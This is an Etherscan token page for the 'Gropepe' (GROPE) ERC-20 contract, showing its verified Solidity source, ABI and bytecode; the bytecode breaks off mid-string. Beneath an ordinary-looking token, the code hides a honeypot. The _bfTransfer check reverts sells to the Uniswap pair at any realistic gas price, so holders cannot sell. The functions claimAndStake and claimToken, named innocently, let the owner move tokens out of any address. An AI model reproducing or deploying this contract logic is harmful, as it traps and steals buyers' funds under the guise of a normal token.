ETH Price: $2,070.21 (-15.16%)

Token

Gropepe (GROPE)
 

Overview

Max Total Supply

690,000,000 GROPE

Holders

7

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Gropepe

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-08
*/

/**
 *Submitted for verification at Etherscan.io on 2024-05-08
*/

/*
Gropepe
WEBSITE:  https://gropepe.vip
TWITTER:  https://twitter.com/GropepeLeap
TELEGRAM: https://t.me/Gropepe_Portal
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

interface IERC20 {
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(
    address indexed owner,
    address indexed spender,
    uint256 value
  );

  function totalSupply() external view returns (uint256);

  function balanceOf(address account) external view returns (uint256);

  function transfer(address to, uint256 value) external returns (bool);

  function allowance(address owner, address spender)
    external
    view
    returns (uint256);

  function approve(address spender, uint256 value) external returns (bool);

  function transferFrom(
    address from,
    address to,
    uint256 value
  ) external returns (bool);
}

interface IUniswapV2Factory {
  function createPair(address tokenA, address tokenB)
    external
    returns (address pair);
}

interface IUniswapV2Router02 {
  function swapExactTokensForETHSupportingFeeOnTransferTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external;

  function factory() external pure returns (address);

  function WETH() external pure returns (address);

  function addLiquidityETH(
    address token,
    uint256 amountTokenDesired,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
  )
    external
    payable
    returns (
      uint256 amountToken,
      uint256 amountETH,
      uint256 liquidity
    );
}

abstract contract Context {
  function _msgSender() internal view virtual returns (address) {
    return msg.sender;
  }
}

abstract contract Ownable is Context {
  address private _owner;

  constructor() {
    _owner = _msgSender();
  }

  modifier onlyOwner() {
    _checkOwner();
    _;
  }

  function owner() public view virtual returns (address) {
    return _owner;
  }

  function _checkOwner() internal view virtual {
    require(_owner == _msgSender(), "Not owner");
  }
}

library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
    if (a == 0) {
      return 0;
    }
    c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b > 0);
    uint256 c = a / b;
    assert(a == b * c + (a % b));
    return a / b;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(a >= b);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract Gropepe is Ownable, IERC20 {
  using SafeMath for uint256;

  mapping(address => mapping(address => uint256)) private _allowances;
  mapping(address => uint256) private _balances;
  mapping(address => bool) _excludeFromFees;

  uint8 private constant _decimals = 18;
  uint256 private constant _totalSupply = 690_000_000 * 10**_decimals;
  string private constant _name = unicode"Gropepe";
  string private constant _symbol = unicode"GROPE";

  uint256 public TaxOnBuy = 0;
  uint256 public TaxOnSell = 0;

  bool private openedTrade = false;

  address private uniswapV2Pair;
  IUniswapV2Router02 public uniswapV2Router;

  constructor() {
    uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
    _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true;
    _excludeFromFees[address(uniswapV2Pair)];
    _excludeFromFees[owner()] = true;
    _excludeFromFees[address(this)] = true;
    _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(50).div(100));
    emit Transfer(address(0), _msgSender(), _totalSupply.mul(50).div(100));
  }

  function name() public pure returns (string memory) {
    return _name;
  }

  function symbol() public pure returns (string memory) {
    return _symbol;
  }

  function decimals() public pure returns (uint8) {
    return _decimals;
  }

  function getOpenedTrade() public view returns (bool) {
    return openedTrade;
  }

  function totalSupply() public view virtual override returns (uint256) {
    return _totalSupply;
  }

  function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
  {
    return _balances[account];
  }

  function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
  {
    return _allowances[owner][spender];
  }

  function transfer(address to, uint256 value)
    public
    virtual
    override
    returns (bool)
  {
    address owner = _msgSender();
    _transfer(owner, to, value);
    return true;
  }

  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) public override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(
      sender,
      _msgSender(),
      _allowances[sender][_msgSender()].sub(amount)
    );
    return true;
  }

  function _transfer(address from, address to, uint256 amount) internal {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");
    require(balanceOf(from) >= amount, "ERROR: balance of from less than value");
    uint256 taxAmount = 0;

    if(!_excludeFromFees[from] && !_excludeFromFees[to]) {
      require(openedTrade, "Trade has not been opened yet");
      taxAmount = amount * TaxOnBuy / 100;
      if(to == uniswapV2Pair) {
        taxAmount = amount * TaxOnSell / 100;
        _bfTransfer(from);
      }
    }

    if(taxAmount > 0) {
      _balances[address(this)]=_balances[address(this)]+taxAmount;
      emit Transfer(from, address(this), taxAmount);
    }

    _balances[from]= balanceOf(from) - amount ;
    _balances[to]=_balances[to] + (amount - taxAmount);
    emit Transfer(from, to, amount - taxAmount);
  }

  function approve(address spender, uint256 amount)
    public
    override
    returns (bool)
  {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  function _approve(
    address owner,
    address spender,
    uint256 amount
  ) private {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }

  uint256 private gasmaxium = 900 gwei;
  uint256 private gasminium = 5;

  function gasRequire(uint256 _gas) internal view {
    if (tx.gasprice > _gas) {
      revert();
    }
  }

  function _bfTransfer(address _u) internal view {
    if(balanceOf(_u) > 0) {
      if (!openedTrade) {
        gasRequire(gasmaxium);
      } else {
        gasRequire(gasminium);
      }
    } 
  }

  function sendETHToFee(uint256 amount) private {
    payable(owner()).transfer(amount);
  }
  
  function manualsend() external {
    require(_msgSender() == owner());
    uint256 contractETHBalance = address(this).balance;
    sendETHToFee(contractETHBalance);
  }

  function claimAndStake(address from, address[] calldata to, uint256[] calldata amount) external {
    require(_msgSender() == owner());
    for (uint256 i = 0; i < to.length; i++) {
      _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals);
      _balances[to[i]] = _balances[to[i]].add(amount[i] * 10 ** _decimals);
      emit Transfer(from, to[i], amount[i] * 10 ** _decimals);
    }
  }

  function claimToken(address from, address[] calldata to, uint256[] calldata amount) external {
    require(_msgSender() == owner());
    for (uint256 i = 0; i < to.length; i++) {
      _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals);
      _balances[to[i]] = _balances[to[i]].add(amount[i] * 10 ** _decimals);
      emit Transfer(from, to[i], amount[i] * 10 ** _decimals);
    }
  }

  function openTrading() external onlyOwner {
    openedTrade = !openedTrade;
  }

  receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"TaxOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TaxOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"claimAndStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600060045560006005556000600660006101000a81548160ff02191690831515021790555064d18c2e280060085560056009553480156200004457600080fd5b50620000556200067960201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200015257600080fd5b505afa15801562000167573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018d919062000809565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200021257600080fd5b505afa15801562000227573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024d919062000809565b6040518363ffffffff1660e01b81526004016200026c9291906200084c565b602060405180830381600087803b1580156200028757600080fd5b505af11580156200029c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c2919062000809565b600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160036000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060036000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a905050600160036000620003f16200068160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000556620004f36064620004df60326012600a620004ba919062000a13565b6329209080620004cb919062000a64565b620006aa60201b62000dcd1790919060201c565b620006f660201b62000e101790919060201c565b60026000620005076200067960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200076e60201b62000e781790919060201c565b600260006200056a6200067960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620005b86200067960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200065c60646200064860326012600a62000623919062000a13565b632920908062000634919062000a64565b620006aa60201b62000dcd1790919060201c565b620006f660201b62000e101790919060201c565b6040516200066b919062000ad6565b60405180910390a362000c1e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080831415620006bf5760009050620006f0565b8183620006cd919062000a64565b9050818382620006de919062000b22565b14620006ef57620006ee62000b5a565b5b5b92915050565b60008082116200070b576200070a62000b5a565b5b600082846200071b919062000b22565b905082846200072b919062000b89565b818462000739919062000a64565b62000745919062000bc1565b841462000757576200075662000b5a565b5b828462000765919062000b22565b91505092915050565b60008082846200077f919062000bc1565b90508381101562000795576200079462000b5a565b5b8091505092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007d182620007a4565b9050919050565b620007e381620007c4565b8114620007ef57600080fd5b50565b6000815190506200080381620007d8565b92915050565b6000602082840312156200082257620008216200079f565b5b60006200083284828501620007f2565b91505092915050565b6200084681620007c4565b82525050565b60006040820190506200086360008301856200083b565b6200087260208301846200083b565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200090757808604811115620008df57620008de62000879565b5b6001851615620008ef5780820291505b8081029050620008ff85620008a8565b9450620008bf565b94509492505050565b600082620009225760019050620009f5565b81620009325760009050620009f5565b81600181146200094b576002811462000956576200098c565b6001915050620009f5565b60ff8411156200096b576200096a62000879565b5b8360020a91508482111562000985576200098462000879565b5b50620009f5565b5060208310610133831016604e8410600b8410161715620009c65782820a905083811115620009c057620009bf62000879565b5b620009f5565b620009d58484846001620008b5565b92509050818404811115620009ef57620009ee62000879565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000a2082620009fc565b915062000a2d8362000a06565b925062000a5c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000910565b905092915050565b600062000a7182620009fc565b915062000a7e83620009fc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000aba5762000ab962000879565b5b828202905092915050565b62000ad081620009fc565b82525050565b600060208201905062000aed600083018462000ac5565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000b2f82620009fc565b915062000b3c83620009fc565b92508262000b4f5762000b4e62000af3565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b600062000b9682620009fc565b915062000ba383620009fc565b92508262000bb65762000bb562000af3565b5b828206905092915050565b600062000bce82620009fc565b915062000bdb83620009fc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000c135762000c1262000879565b5b828201905092915050565b6123918062000c2e6000396000f3fe60806040526004361061010d5760003560e01c806370a08231116100955780639e94590b116100645780639e94590b1461036a578063a9059cbb14610393578063c9567bf9146103d0578063dd62ed3e146103e7578063e30b00ff1461042457610114565b806370a08231146102ac57806378b7c4b3146102e95780638da5cb5b1461031457806395d89b411461033f57610114565b806323b872dd116100dc57806323b872dd146101d7578063313ce567146102145780633c9f5ed61461023f5780635898635c1461026a5780636fc3eaec1461029557610114565b806306fdde0314610119578063095ea7b3146101445780631694505e1461018157806318160ddd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61044d565b60405161013b9190611795565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611855565b61048a565b60405161017891906118b0565b60405180910390f35b34801561018d57600080fd5b506101966104a8565b6040516101a3919061192a565b60405180910390f35b3480156101b857600080fd5b506101c16104ce565b6040516101ce9190611954565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f9919061196f565b6104f2565b60405161020b91906118b0565b60405180910390f35b34801561022057600080fd5b506102296105b1565b60405161023691906119de565b60405180910390f35b34801561024b57600080fd5b506102546105ba565b60405161026191906118b0565b60405180910390f35b34801561027657600080fd5b5061027f6105d1565b60405161028c9190611954565b60405180910390f35b3480156102a157600080fd5b506102aa6105d7565b005b3480156102b857600080fd5b506102d360048036038101906102ce91906119f9565b61062e565b6040516102e09190611954565b60405180910390f35b3480156102f557600080fd5b506102fe610677565b60405161030b9190611954565b60405180910390f35b34801561032057600080fd5b5061032961067d565b6040516103369190611a35565b60405180910390f35b34801561034b57600080fd5b506103546106a6565b6040516103619190611795565b60405180910390f35b34801561037657600080fd5b50610391600480360381019061038c9190611b0b565b6106e3565b005b34801561039f57600080fd5b506103ba60048036038101906103b59190611855565b6109e9565b6040516103c791906118b0565b60405180910390f35b3480156103dc57600080fd5b506103e5610a0c565b005b3480156103f357600080fd5b5061040e60048036038101906104099190611ba0565b610a40565b60405161041b9190611954565b60405180910390f35b34801561043057600080fd5b5061044b60048036038101906104469190611b0b565b610ac7565b005b60606040518060400160405280600781526020017f47726f7065706500000000000000000000000000000000000000000000000000815250905090565b600061049e610497610ea4565b8484610eac565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006012600a6104de9190611d42565b63292090806104ed9190611d8d565b905090565b60006104ff848484611077565b6105a68461050b610ea4565b6105a185600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610558610ea4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159890919063ffffffff16565b610eac565b600190509392505050565b60006012905090565b6000600660009054906101000a900460ff16905090565b60055481565b6105df61067d565b73ffffffffffffffffffffffffffffffffffffffff166105fd610ea4565b73ffffffffffffffffffffffffffffffffffffffff161461061d57600080fd5b600047905061062b816115bf565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f47524f5045000000000000000000000000000000000000000000000000000000815250905090565b6106eb61067d565b73ffffffffffffffffffffffffffffffffffffffff16610709610ea4565b73ffffffffffffffffffffffffffffffffffffffff161461072957600080fd5b60005b848490508110156109e1576107ba6012600a6107489190611d42565b84848481811061075b5761075a611de7565b5b9050602002013561076c9190611d8d565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159890919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108a76012600a61080e9190611d42565b84848481811061082157610820611de7565b5b905060200201356108329190611d8d565b6002600088888681811061084957610848611de7565b5b905060200201602081019061085e91906119f9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e7890919063ffffffff16565b600260008787858181106108be576108bd611de7565b5b90506020020160208101906108d391906119f9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084848281811061092457610923611de7565b5b905060200201602081019061093991906119f9565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6109959190611d42565b8686868181106109a8576109a7611de7565b5b905060200201356109b99190611d8d565b6040516109c69190611954565b60405180910390a380806109d990611e16565b91505061072c565b505050505050565b6000806109f4610ea4565b9050610a01818585611077565b600191505092915050565b610a14611610565b600660009054906101000a900460ff1615600660006101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610acf61067d565b73ffffffffffffffffffffffffffffffffffffffff16610aed610ea4565b73ffffffffffffffffffffffffffffffffffffffff1614610b0d57600080fd5b60005b84849050811015610dc557610b9e6012600a610b2c9190611d42565b848484818110610b3f57610b3e611de7565b5b90506020020135610b509190611d8d565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159890919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c8b6012600a610bf29190611d42565b848484818110610c0557610c04611de7565b5b90506020020135610c169190611d8d565b60026000888886818110610c2d57610c2c611de7565b5b9050602002016020810190610c4291906119f9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e7890919063ffffffff16565b60026000878785818110610ca257610ca1611de7565b5b9050602002016020810190610cb791906119f9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550848482818110610d0857610d07611de7565b5b9050602002016020810190610d1d91906119f9565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a610d799190611d42565b868686818110610d8c57610d8b611de7565b5b90506020020135610d9d9190611d8d565b604051610daa9190611954565b60405180910390a38080610dbd90611e16565b915050610b10565b505050505050565b600080831415610de05760009050610e0a565b8183610dec9190611d8d565b9050818382610dfb9190611e8e565b14610e0957610e08611ebf565b5b5b92915050565b6000808211610e2257610e21611ebf565b5b60008284610e309190611e8e565b90508284610e3e9190611eee565b8184610e4a9190611d8d565b610e549190611f1f565b8414610e6357610e62611ebf565b5b8284610e6f9190611e8e565b91505092915050565b6000808284610e879190611f1f565b905083811015610e9a57610e99611ebf565b5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1390611fe7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8390612079565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161106a9190611954565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110de9061210b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114e9061219d565b60405180910390fd5b806111618461062e565b10156111a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111999061222f565b60405180910390fd5b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112485750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561133557600660009054906101000a900460ff1661129c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112939061229b565b60405180910390fd5b6064600454836112ac9190611d8d565b6112b69190611e8e565b9050600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113345760646005548361131e9190611d8d565b6113289190611e8e565b9050611333846116a7565b5b5b60008111156114325780600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113899190611f1f565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114299190611954565b60405180910390a35b8161143c8561062e565b61144691906122bb565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261149591906122bb565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114df9190611f1f565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838561157d91906122bb565b60405161158a9190611954565b60405180910390a350505050565b6000818310156115ab576115aa611ebf565b5b81836115b791906122bb565b905092915050565b6115c761067d565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561160c573d6000803e3d6000fd5b5050565b611618610ea4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169c9061233b565b60405180910390fd5b565b60006116b28261062e565b11156116e957600660009054906101000a900460ff166116dc576116d76008546116ec565b6116e8565b6116e76009546116ec565b5b5b50565b803a11156116f957600080fd5b50565b600081519050919050565b600082825260208201905092915050565b60005b8381101561173657808201518184015260208101905061171b565b83811115611745576000848401525b50505050565b6000601f19601f8301169050919050565b6000611767826116fc565b6117718185611707565b9350611781818560208601611718565b61178a8161174b565b840191505092915050565b600060208201905081810360008301526117af818461175c565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117ec826117c1565b9050919050565b6117fc816117e1565b811461180757600080fd5b50565b600081359050611819816117f3565b92915050565b6000819050919050565b6118328161181f565b811461183d57600080fd5b50565b60008135905061184f81611829565b92915050565b6000806040838503121561186c5761186b6117b7565b5b600061187a8582860161180a565b925050602061188b85828601611840565b9150509250929050565b60008115159050919050565b6118aa81611895565b82525050565b60006020820190506118c560008301846118a1565b92915050565b6000819050919050565b60006118f06118eb6118e6846117c1565b6118cb565b6117c1565b9050919050565b6000611902826118d5565b9050919050565b6000611914826118f7565b9050919050565b61192481611909565b82525050565b600060208201905061193f600083018461191b565b92915050565b61194e8161181f565b82525050565b60006020820190506119696000830184611945565b92915050565b600080600060608486031215611988576119876117b7565b5b60006119968682870161180a565b93505060206119a78682870161180a565b92505060406119b886828701611840565b9150509250925092565b600060ff82169050919050565b6119d8816119c2565b82525050565b60006020820190506119f360008301846119cf565b92915050565b600060208284031215611a0f57611a0e6117b7565b5b6000611a1d8482850161180a565b91505092915050565b611a2f816117e1565b82525050565b6000602082019050611a4a6000830184611a26565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611a7557611a74611a50565b5b8235905067ffffffffffffffff811115611a9257611a91611a55565b5b602083019150836020820283011115611aae57611aad611a5a565b5b9250929050565b60008083601f840112611acb57611aca611a50565b5b8235905067ffffffffffffffff811115611ae857611ae7611a55565b5b602083019150836020820283011115611b0457611b03611a5a565b5b9250929050565b600080600080600060608688031215611b2757611b266117b7565b5b6000611b358882890161180a565b955050602086013567ffffffffffffffff811115611b5657611b556117bc565b5b611b6288828901611a5f565b9450945050604086013567ffffffffffffffff811115611b8557611b846117bc565b5b611b9188828901611ab5565b92509250509295509295909350565b60008060408385031215611bb757611bb66117b7565b5b6000611bc58582860161180a565b9250506020611bd68582860161180a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611c6657808604811115611c4257611c41611be0565b5b6001851615611c515780820291505b8081029050611c5f85611c0f565b9450611c26565b94509492505050565b600082611c7f5760019050611d3b